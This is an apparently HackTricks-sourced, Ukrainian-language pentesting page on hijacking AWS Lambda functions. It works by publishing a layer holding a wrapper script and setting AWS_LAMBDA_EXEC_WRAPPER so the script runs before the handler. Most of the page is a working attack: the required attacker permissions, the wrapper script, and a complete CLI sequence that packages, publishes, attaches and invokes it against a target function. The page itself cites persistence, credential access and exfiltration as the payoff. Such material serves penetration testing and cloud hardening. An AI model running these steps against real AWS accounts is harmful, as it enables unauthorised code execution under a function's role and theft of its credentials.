# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

## Резюме

Зловживайте змінною середовища `AWS_LAMBDA_EXEC_WRAPPER`, щоб виконати контрольований атакуючим скрипт-обгортку перед запуском runtime/handler. Доставте обгортку через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Обгортка запускається всередині процесу runtime функції, успадковує роль виконання функції і врешті-решт виконує `exec` реального runtime, тож оригінальний handler усе ще виконується нормально.

> [!WARNING]
> Ця техніка надає виконання коду в цільовій Lambda без зміни її вихідного коду або ролі та без потреби в `iam:PassRole`. Вам потрібна лише можливість оновлювати конфігурацію функції та опублікувати/приєднати layer.

## Необхідні дозволи (attacker)

- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (або ініціювати через існуючу подію)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (в тому ж акаунті) і опціонально `lambda:AddLayerVersionPermission`, якщо використовуєте cross-account/public layer

## Скрипт обгортки

Помістіть обгортку в `/opt/bin/htwrap` у layer. Вона може виконувати логіку перед handler і має закінчуватися `exec "$@"`, щоб передати виконання реальному runtime.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Кроки атаки (CLI)

<details>
<summary>Опублікувати layer, прикріпити до цільової функції, встановити wrapper, викликати</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>

## Impact

- Виконання коду перед handler-ом у Lambda runtime з використанням наявної execution role функції.
- Не потребує змін у function code або role; працює в загальноприйнятих managed runtimes (Python, Node.js, Java, .NET).
- Дозволяє persistence, доступ до credentials (наприклад, STS), data exfiltration та runtime tampering до запуску handler-а.

{{#include ../../../../banners/hacktricks-training.md}}